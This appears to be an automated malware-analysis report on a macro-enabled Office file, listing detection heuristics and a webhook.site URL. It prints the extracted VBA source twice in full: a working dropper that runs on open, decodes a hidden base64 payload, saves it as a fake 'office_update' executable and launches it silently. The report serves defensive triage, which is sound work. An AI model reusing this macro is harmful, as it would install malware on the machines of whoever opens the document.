MALICIOUS
248
Risk Score
Heuristics 10
-
VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
' 6. Execute Dim shell As Object Set shell = CreateObject("WScript.Shell") -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Dim shell As Object Set shell = CreateObject("WScript.Shell") shell.Run exePath, 0, False -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim xmlNode As Object Set xmlDoc = CreateObject("MSXML2.DOMDocument") Set xmlNode = xmlDoc.createElement("b64") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() RunDropper -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() RunDropper -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
' 3. Prepare paths tempPath = Environ("TEMP") exePath = tempPath & "\office_update_" & Int((9999 - 1000 + 1) * Rnd + 1000) & ".exe" -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://webhook.site/a72d8905-b15f-4e95-9a8f-5e4bb7dc9b3d In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/windows/2004/02/mit/task^In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3800 bytes |
SHA-256: a48f50fb7552a4eacf27d60924bbd6f39cc9abfab024b64b6d83cf78829d7374 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Sub AutoOpen()
RunDropper
End Sub
Sub Workbook_Open()
RunDropper
End Sub
' PowerPoint doesn't have an AutoOpen equivalent that runs on file open without an Add-in,
' but it is often triggered via Action Settings or animations.
' We'll include the core logic here.
Sub OnPPTOpen()
RunDropper
End Sub
Sub RunDropper()
On Error Resume Next
Dim xmlPart As Object
Dim base64String As String
Dim tempPath As String
Dim exePath As String
Dim binaryData() As Byte
Dim fNum As Integer
Dim hostObj As Object
' 1. Identify the Correct Host Object
Select Case Application.Name
Case "Microsoft Word"
Set hostObj = ActiveDocument
Case "Microsoft Excel"
Set hostObj = ActiveWorkbook
Case "Microsoft PowerPoint"
Set hostObj = ActivePresentation
End Select
If hostObj Is Nothing Then Exit Sub
' 2. Locate the payload in CustomXMLParts
For Each xmlPart In hostObj.CustomXMLParts
If xmlPart.DocumentElement.BaseName = "payload" Then
base64String = xmlPart.DocumentElement.Text
Exit For
End If
Next xmlPart
If base64String = "" Then Exit Sub
' 3. Prepare paths
tempPath = Environ("TEMP")
exePath = tempPath & "\office_update_" & Int((9999 - 1000 + 1) * Rnd + 1000) & ".exe"
' 4. Decode Base64
Dim xmlDoc As Object
Dim xmlNode As Object
Set xmlDoc = CreateObject("MSXML2.DOMDocument")
Set xmlNode = xmlDoc.createElement("b64")
xmlNode.DataType = "bin.base64"
xmlNode.Text = base64String
binaryData = xmlNode.nodeTypedValue
' 5. Write to disk
fNum = FreeFile
Open exePath For Binary Access Write As #fNum
Put #fNum, , binaryData
Close #fNum
' 6. Execute
Dim shell As Object
Set shell = CreateObject("WScript.Shell")
shell.Run exePath, 0, False
End Sub
Sub AutoOpen()
RunDropper
End Sub
Sub Workbook_Open()
RunDropper
End Sub
' PowerPoint doesn't have an AutoOpen equivalent that runs on file open without an Add-in,
' but it is often triggered via Action Settings or animations.
' We'll include the core logic here.
Sub OnPPTOpen()
RunDropper
End Sub
Sub RunDropper()
On Error Resume Next
Dim xmlPart As Object
Dim base64String As String
Dim tempPath As String
Dim exePath As String
Dim binaryData() As Byte
Dim fNum As Integer
Dim hostObj As Object
' 1. Identify the Correct Host Object
Select Case Application.Name
Case "Microsoft Word"
Set hostObj = ActiveDocument
Case "Microsoft Excel"
Set hostObj = ActiveWorkbook
Case "Microsoft PowerPoint"
Set hostObj = ActivePresentation
End Select
If hostObj Is Nothing Then Exit Sub
' 2. Locate the payload in CustomXMLParts
For Each xmlPart In hostObj.CustomXMLParts
If xmlPart.DocumentElement.BaseName = "payload" Then
base64String = xmlPart.DocumentElement.Text
Exit For
End If
Next xmlPart
If base64String = "" Then Exit Sub
' 3. Prepare paths
tempPath = Environ("TEMP")
exePath = tempPath & "\office_update_" & Int((9999 - 1000 + 1) * Rnd + 1000) & ".exe"
' 4. Decode Base64
Dim xmlDoc As Object
Dim xmlNode As Object
Set xmlDoc = CreateObject("MSXML2.DOMDocument")
Set xmlNode = xmlDoc.createElement("b64")
xmlNode.DataType = "bin.base64"
xmlNode.Text = base64String
binaryData = xmlNode.nodeTypedValue
' 5. Write to disk
fNum = FreeFile
Open exePath For Binary Access Write As #fNum
Put #fNum, , binaryData
Close #fNum
' 6. Execute
Dim shell As Object
Set shell = CreateObject("WScript.Shell")
shell.Run exePath, 0, False
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 18432 bytes |
SHA-256: 304046c6162c4d842c1638d7f274725d57cf33e43923e614b967e66227dca447 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.